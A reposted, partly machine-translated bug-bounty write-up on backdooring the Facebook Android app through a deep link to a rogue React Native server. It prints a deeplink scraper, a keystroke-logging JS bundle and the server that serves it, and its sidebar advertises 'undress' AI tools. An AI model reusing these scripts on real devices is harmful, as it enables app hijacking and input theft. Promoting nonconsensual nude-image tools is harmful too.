Table of Contents
Vulnerability Discovery
Hijacking Facebook APP
漏洞影响
Facebook安全团队的漏洞评估
漏洞上报和处理进程
Home Operation and Maintenance Safety How to use deep linking to backdoor Facebook APP

How to use deep linking to backdoor Facebook APP

May 19, 2023 pm 02:49 PM
app facebook

Recently, the author discovered a deep link vulnerability in the Facebook Android APP. Using this vulnerability, the Facebook Android APP installed on the user's mobile phone can be converted into a backdoor program (Backdoor) to achieve backdooring. In addition, this vulnerability can also be used to repackage the Facebook application and send it to selected target victims for installation and use. Let’s take a look at the author’s discovery process of this vulnerability, and how it was ultimately transformed into a security risk in the actual production environment of Facebook APP through Payload construction.

Vulnerability Discovery

Usually when doing public testing, I will first carefully understand the application mechanism of the target system. In my last blog, I have shared some experience of discovering deep links (deeplinks) in FB4A parameter applications by parsing Facebook APP. Here, I will first share a script file I wrote, which can Automatically discover Facebook APP deep links (deeplinks). The script file is - Facebook Android Deeplink Scraper (FBLinkBuilder.py), which is a Python-based code program dedicated to extracting deep links (deeplinks) from Facebook APK:

import os 
import json
import argparse
from zipfile import ZipFile 
from datetime import datetime

fname = datetime.now().strftime("FB_Deeplinks%d%m%Y%H%M%S.txt") #default filename

parser = argparse.ArgumentParser() 
parser.add_argument('-i', help='Facebook APK file')
parser.add_argument('-o', help='Output file', nargs='?', default=fname)
parser.add_argument('-e', help='Only show exported. Defaulted to False', nargs='?', default=False)
args = parser.parse_args()

file_name = args.i #apk
output_name = args.o #generated output / provided
exported = args.e #False / provided

with ZipFile(file_name, 'r') as zip: 
    print('Extracting native routes file...') #fyi
    
    data = zip.read('assets/react_native_routes.json') #extract file from zip
    js = json.loads(data.decode("utf-8")) #to read as list

    params = '' #placeholder
    
    i = 0 #deeplink count
    
    text_file = open(output_name, "w") #open output

    print('Manipulating data...') #fyi
    for key in js: #for each block in json
        for key2 in key['paramDefinitions']: #grab the collection of params
            params += key2 + '=' + str(key['paramDefinitions'][key2]['type']).upper() + '&' #append params with type
            
        if exported: #exported only
            if key.get('access','') != 'exported': #check access key
                params = '' #Reset params
                continue #try next block
                
        link = 'fb:/' + key['path'] + '/?' + params #build link
        print(link[:-1]) #fyi
        text_file.write(link[:-1]+ '\n') #write to file
        i += 1 #increase counter
        params = '' #reset params

    text_file.close() #save file
    
    print('File: ' + output_name + ' saved') #fyi
    print(str(i) + ' deep links generated') #fyi
Copy after login

Download source: https:// github.com/ashleykinguk/FBLinkBuilder/

Usage: .\FBLinkBuilder.py -i fb0409.apk

By running FBLinkBuilder.py, we can compare Deep links that appear between different APP versions are used to observe changes in application services of different APP versions. I used this method to discover an unsafe deep link in the 2020 version of Facebook APP: fb:/ /rnquantum_notification_handler/?address=, which was added to the Facebook APP for the first time in the 2020 version.

The parameter form of the deep link is hostname/ip, so I used my own server 192.168.0.2 to do a test: fb://rnquantum_notification_handler/?address=192.168.0.2 :8224, through this link, the following pop-up window will pop up in the Facebook APP:

如何利用深度链接方式后门化Facebook APPAfter clicking the "Enable Quantum" button, the Facebook APP will be restarted. After that, I tried to I noticed some changes, but nothing seemed out of the ordinary. Next, I turned my attention to the network traffic. At that time, I thought of the white hat testing function that Facebook had opened for security researchers not long ago. Security researchers can use this function to temporarily bypass Facebook's Certificate Pinning (Certificate Pinning). ) and other security restrictions to test the network traffic of Facebook-related applications. I used the white hat testing function and found that after performing the above operations, the Facebook application will issue the following outgoing link request:

http://192.168.0.2:8224/message?device=Android SDK built for x86 - 10 - API 29&app=com.facebook.katana&clientid=DevSupportManagerImpl

http://192.168.0.2:8224/status

The first request mechanism here is Pass the mobile device attribute information based on it and intend to establish a websocket connection; the second request returns the status information of the requesting host packager-status:running, which is a built-in parameter of Facebook's react-native source code. You can refer to Github: /com /facebook/react/devsupport/DevServerHelper.java.

And when I tried every means to construct a response message in my own server 192.168.0.2, I discovered another request generated by the Facebook APP:

http://192.168 .0.2:8224/RKJSModules/EntryPoints/Fb4aBundle.bundle?platform=android&dev=true&minify=false

The purpose of this request is to find the FB4A parameters stored in the package file. According to preliminary analysis, this parameter should It is stored in the Facebook APP in clear text instead of the usual hbc* format. I tried entering FB4A parameters in hbc* format for testing, but it ended up crashing the Facebook APP.
In fact, for Facebook APP, before 2019, its packaging files (bundles) were stored in a formal file in the /assets/ directory, but after 2019, Facebook introduced the hbc format (*Hermes ByteCode), on the one hand to slim down the APK, and on the other hand to prevent the core code from being made explicit. Although I tried to use the hbc format tool HBCdump to generate a package file of about 250M for the Facebook APP, it seemed to be of no use.

Hijacking Facebook APP

After that, I thought of another way to find the packaged file: that is by looking at the old version of Facebook APP and comparing the plaintext package content and errors generated by the mobile device. Messages are compared, and error messages generated by mobile devices can be seen through logcat. After a comparison, I found the following clues:

__fbBatchedBridge - a necessary object in the package file, which contains various functional components synchronized with the APP application;

__fbBatchedBridge.callFunctionReturnFlushedQueue - The function called by the APP background will execute the corresponding action or event every time it is called.

Based on the above findings, my idea is to enable Facebook APP to successfully download and execute the package file I constructed. In order to achieve this purpose, I need to write the package file myself and then host it on my In the self-hosted host 192.168.0.2. The following is the package file FB4abundle.js I constructed:

/* contact@ash-king.co.uk */

var i = 0, logs = ''; /* our local vars */

/*the below objects are required for the app to execute the bundle. See lines 47-55 for the custom js */
var __fbBatchedBridge = { 
	_lazyCallableModules: {},
	_queue: [[], [], [], 0],
	_callID: 0,
	_lastFlush: 0,
	_eventLoopStartTime: Date.now(),
	_immediatesCallback: null,
    callFunctionReturnFlushedQueue: function(module, method, args) {
		return __fbBatchedBridge.__guard(function() {
		  __fbBatchedBridge.__callFunction(module, method, args)
		}), __fbBatchedBridge.flushedQueue()
	},
    callFunctionReturnResultAndFlushedQueue: function(e, u, s) {
		return __fbBatchedBridge.__guard(function() {
		  throw new Error('callFunctionReturnResultAndFlushedQueue: ' + a);
		}), __fbBatchedBridge.flushedQueue()
	},
    invokeCallbackAndReturnFlushedQueue: function(a,b,c) { 
		throw new Error('invokeCallbackAndReturnFlushedQueue: ' + a);
	},
	flushedQueue: function(a, b) {
		if(a != undefined){
			throw new Error('flushedQueue: ' + b)
		}
		__fbBatchedBridge.__callImmediates(); 
		const queue = __fbBatchedBridge._queue;
		__fbBatchedBridge._queue = [[], [], [], __fbBatchedBridge._callID];
		return queue[0].length ? queue : null;
	},
	onComplete: function(a) { throw new Error(a) },	
	__callImmediates: function() {
		if (__fbBatchedBridge._immediatesCallback != null) {
		  __fbBatchedBridge._immediatesCallback();
		  throw new Error('processCallbacks: ' + __fbBatchedBridge._immediatesCallback());
		}
	},
	getCallableModule: function(a) { 
		const getValue = __fbBatchedBridge._lazyCallableModules[a];
		return getValue ? getValue() : null;
	},
	__callFunction: function(a,b,c) {
		if(a == 'RCTNativeAppEventEmitter') { // Only capturing the search bar in settings
			i += 1 //increment count
			logs += JSON.stringify(c) + '\n'; //JSON Object
			if(i > 10) {
				/* Here is where we will write out to logcat via js*/
				var t = (nativeModuleProxy);
				throw new Error('Look HERE: ' + (logs) + '\n\r'); 
			}
		}
		__fbBatchedBridge._lastFlush = Date.now();
		__fbBatchedBridge._eventLoopStartTime = __fbBatchedBridge._lastFlush;
		const moduleMethods = __fbBatchedBridge.getCallableModule(a);
		try {
			moduleMethods[b].apply(moduleMethods, c);
		} catch (e) {
			
		}
		return -1
	},
	__guard: function(e) {
		try {
			e();
		} catch (error) {
			throw new Error('__guard: ' + error); 
		}	
	}
};
Copy after login

另外需要一个脚本文件fb_server.py,以便让Facebook APP自动调用该包文件

#contact@ash-king.co.uk

from http.server import BaseHTTPRequestHandler, HTTPServer
import logging

class S(BaseHTTPRequestHandler):
    def _set_response(self):
        self.send_response(500)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        self.wfile.write(bytes("", "utf-8"))

    def do_GET(self):
        if self.path == '/status':
            self.resp_status()
        elif str(self.path).find('message?device=') > -1:
            self.resp_message()
        elif str(self.path).find('Fb4aBundle.bundle') > -1:
            self.resp_fb4a()

    def do_POST(self):
        content_length = int(self.headers['Content-Length'])
        post_data = self.rfile.read(content_length)
        logging.info("POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n", str(self.path), str(self.headers), post_data.decode('utf-8'))
        self._set_response()
        self.wfile.write("POST request for {}".format(self.path).encode('utf-8'))

    def resp_message(self):
        logging.info("resp_message")
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        self.wfile.write(bytes("", "utf-8"))
        logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers))

    def resp_status(self):
        logging.info("resp_status")
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        self.wfile.write(bytes("packager-status:running", "utf-8"))
        logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers))
        
    def resp_fb4a(self):
        logging.info("resp_bundle")
        self.send_response(200)
        self.send_header('Content-type', 'multipart/mixed')
        self.end_headers()
        with open('FB4abundle.js', 'rb') as file: 
            self.wfile.write(file.read())
        logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers))

def run(server_class=HTTPServer, handler_class=S, port=8224):
    logging.basicConfig(level=logging.INFO)
    server_address = ('', port)
    httpd = server_class(server_address, handler_class)
    logging.info('Starting httpd...\n')
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        pass
    httpd.server_close()
    logging.info('Stopping httpd...\n')

if __name__ == '__main__':
    from sys import argv

    run()
Copy after login

综合深度链接、包文件调用和我自己构造加入的"Enable Quantum"URL链接,最终我可以向Facebook APP调用包文件中加入我自制的代码,并由其中的深度链接来实现调用。在我的POC漏洞验证展示中,如果受害者运行了我重打包的Facebook APP后,我可以拦截他在Facebook APP中的输入字符流量,如拦截他输入的5个字符流量“testi”,并会在logfile中显示他实际输入的字符,且最终会产生一个告警提示:

如何利用深度链接方式后门化Facebook APP

漏洞影响

恶意攻击者可以利用该漏洞,通过物理接触移动设备上的APP或向受害者发送重打包APP的方式,向受害者移动端设备APP中植入持久化连接,对受害者设备APP形成长期感知探测的后门化。

然而,一开始,Facebook安全团队却忽略了该漏洞,他们选择了关闭该漏洞报告并分类为不适用(not applicable),他们给出的解释为:

Any user that is knowledgable enough to manage servers and write code would also be able to control how the app operates. That is also true for any browser extension or manual app created. A user is also able to proxy all their HTTP Traffic to manipulate those requests. Only being able to make local modifications with a PoC showing actual impact does not fully qualify for the Bug Bount.

之后,我就公布了POC验证视频,一小时后,Facebook安全团队的雇员联系了我,声称他们重新评估了该漏洞,并要求我删除了该POC验证视频。但在视频删除前,至少30多名观众看过了该视频。

Facebook安全团队的漏洞评估

“重新评估该漏洞后,我们决定按我们的众测标准给出对该漏洞给予奖励,在你上报的漏洞中,描述了可让受害者重定向到一个攻击者控制的 React Native Development服务端,并向受害者APP中植入恶意代码的场景,感谢你的漏洞上报。”

漏洞上报和处理进程

2020.6.20 - 漏洞上报
2020.6.22 - 提供技术细节
2020.6.23 - Facebook把该漏洞分类为N/A
2020.6.23 - 我在Youtube上公布POC视频 
2020.6.23 - Facebook重新评估该漏洞并要求我删除POC视频
2020.6.24 - 漏洞分类
2020.6.26 - Facebook通过关闭Quantum功能进行缓解
2020.8.20 - Facebook修复该漏洞
2020.9.17 - Facebook赏金奖励支付

The above is the detailed content of How to use deep linking to backdoor Facebook APP. For more information, please follow other related articles on the PHP Chinese website!

Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

AI Hentai Generator

AI Hentai Generator

Generate AI Hentai for free.

Hot Article

R.E.P.O. Energy Crystals Explained and What They Do (Yellow Crystal)
3 weeks ago By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Best Graphic Settings
3 weeks ago By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. How to Fix Audio if You Can't Hear Anyone
3 weeks ago By 尊渡假赌尊渡假赌尊渡假赌
WWE 2K25: How To Unlock Everything In MyRise
4 weeks ago By 尊渡假赌尊渡假赌尊渡假赌

Hot Tools

Notepad++7.3.1

Notepad++7.3.1

Easy-to-use and free code editor

SublimeText3 Chinese version

SublimeText3 Chinese version

Chinese version, very easy to use

Zend Studio 13.0.1

Zend Studio 13.0.1

Powerful PHP integrated development environment

Dreamweaver CS6

Dreamweaver CS6

Visual web development tools

SublimeText3 Mac version

SublimeText3 Mac version

God-level code editing software (SublimeText3)

what is facebook what is facebook Aug 17, 2023 pm 02:05 PM

Facebook is a globally renowned social media platform that provides users with a platform to connect and communicate. Founded in 2004, it was founded by Mark Zuckerberg and others. It is an online social network where users can share information, photos and videos with and interact with friends, family and colleagues. Its influence is not limited to individual users, but also extends to businesses and news fields.

How to perform real-name authentication on Jingdong Mall APP How to perform real-name authentication on Jingdong Mall APP Mar 19, 2024 pm 02:31 PM

How to get real-name authentication on Jingdong Mall APP? Jingdong Mall is an online shopping platform that many friends often use. Before shopping, it is best for everyone to conduct real-name authentication so that they can enjoy complete services and get a better shopping experience. The following is the real-name authentication method for JD.com, I hope it will be helpful to netizens. 1. Install and open JD.com, and then log in to your personal account; 2. Then click [My] at the bottom of the page to enter the personal center page; 3. Then click the small [Settings] icon in the upper right corner to go to the setting function interface; 4. Select [Account and Security] to go to the account settings page; 5. Finally, click the [Real-name Authentication] option to fill in the real-name information; 6. The installation system requires you to fill in your real personal information and complete the real-name authentication

Steps and precautions for registering a Hong Kong Apple ID (enjoy the unique advantages of the Hong Kong Apple Store) Steps and precautions for registering a Hong Kong Apple ID (enjoy the unique advantages of the Hong Kong Apple Store) Sep 02, 2024 pm 03:47 PM

Apple's products and services have always been loved by users around the world. Registering a Hong Kong Apple ID will bring more convenience and privileges to users. Let’s take a look at the steps to register a Hong Kong Apple ID and what you need to pay attention to. How to register a Hong Kong Apple ID When using Apple devices, many applications and functions require using Apple ID to log in. If you want to download applications from Hong Kong or enjoy the preferential content of the Hong Kong AppStore, it is very necessary to register a Hong Kong Apple ID. This article will detail the steps on how to register a Hong Kong Apple ID and what you need to pay attention to. Steps: Select language and region: Find the "Settings" option on your Apple device and enter

How to cancel the data package on China Unicom app How to cancel the data package on China Unicom How to cancel the data package on China Unicom app How to cancel the data package on China Unicom Mar 18, 2024 pm 10:10 PM

The China Unicom app can easily meet everyone's needs. It has various functions to solve your needs. If you want to handle various services, you can easily do it here. If you don't need it, you can unsubscribe in time here. It is effective. To avoid subsequent losses, many people sometimes feel that the data is not enough when using mobile phones, so they buy additional data packages. However, they don’t want it next month and want to unsubscribe immediately. Here, the editor explains We provide a method to unsubscribe, so that friends who need it can come and use it! In the China Unicom app, find the "My" option in the lower right corner and click on it. In the My interface, slide the My Services column and click the "I have ordered" option

How to issue invoices with multipoint app How to issue invoices with multipoint app Mar 14, 2024 am 10:00 AM

As a shopping voucher, invoices are crucial to our daily lives and work. So when we usually use Duodian app for shopping, how can we easily issue invoices in Duodian app? Below, the editor of this website will bring you a detailed step-by-step guide for opening invoices on multi-point apps. Users who want to know more must not miss it. Come and follow the text to learn more! In the [Invoice Center], click [Multi-Point Supermarket/Free Shopping], select the order that needs to be invoiced on the completed order page, click Next to fill in the [Invoice Information], [Recipient Information], and click Submit after confirming that they are correct. After a few minutes, enter the receiving mailbox, open the email, click on the electronic invoice download address, and finally download and print the electronic invoice.

Blackmagic\'s pro-level video app lands on Android, but your phone probably can\'t run it Blackmagic\'s pro-level video app lands on Android, but your phone probably can\'t run it Jun 25, 2024 am 07:06 AM

Blackmagic Design has finally brought its well-praised Blackmagic Camera app to Android. The professional video camera app is free to download, and it offers complete manual controls. These controls aim to make it easier for you to take pro-level cin

How to declare personal income tax app How to declare personal income tax app How to declare personal income tax app How to declare personal income tax app Mar 12, 2024 pm 07:40 PM

How to declare personal income tax on the app? Personal Income Tax is a very practical mobile software. Users can declare some businesses on this software, and can also make tax refunds on this software. As long as the user downloads this software, he or she does not have to wait in line offline, which is very convenient. Many users still don’t know how to use personal income tax software to file returns. The following editor has compiled the reporting methods of personal income tax software for your reference. Personal income tax app declaration method 1. First, open the software, find and click the "I want to file taxes" button on the homepage; 2. Then, find and click "Annual Comprehensive Income Summary" in the tax declaration here.

What is the full name of the app? What is the full name of the app? Aug 21, 2023 am 10:29 AM

The full name of app is "Application", which is the abbreviation of application program. It refers to a software application developed for mobile devices. The emergence of apps provides users with a wider variety of mobile application choices, meeting various user needs in different scenarios. The app development process involves many aspects such as software design, programming, and testing. It also needs to consider issues such as device compatibility, performance optimization, and security.

See all articles